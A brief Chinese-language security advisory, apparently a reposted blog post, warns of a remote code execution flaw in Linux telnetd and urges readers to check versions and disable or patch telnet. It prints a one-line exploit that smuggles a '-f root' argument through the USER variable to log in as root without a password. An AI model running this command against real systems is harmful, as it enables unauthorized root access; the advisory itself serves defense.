文章总结： 文档揭露LinuxTelnet存在远程代码执行漏洞，利用难度极低。攻击者只需执行命令USER=’-froot’telnet-aip即可利用，前提是目标开启telnetd服务。建议立即排查系统版本并关闭或修复telnet服务以防止被攻击。 综合评分： 60 文章分类： 漏洞POC,漏洞预警,应急响应

【火速排查】Linux Telnet 远程代码执行！

原创

bing bing

安全技术达人

2026年1月22日 12:08 新加坡

使用说明：本篇文章旨在提供网络安全技术研究的信息和知识，以供信息技术专业人士、学者和爱好者学习和交流。我们鼓励读者提升自身的技术能力，增强网络安全意识，并为维护网络空间的安全做出贡献，切勿用于其他不合法事项。

字少，事大，请及时修复….

漏洞复现

USER='-f root' telnet -a ip

利用难度非常简单

利用条件：在漏洞版本，开启 telnetd服务。

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：安全技术达人 bing bing《【火速排查】Linux Telnet 远程代码执行！》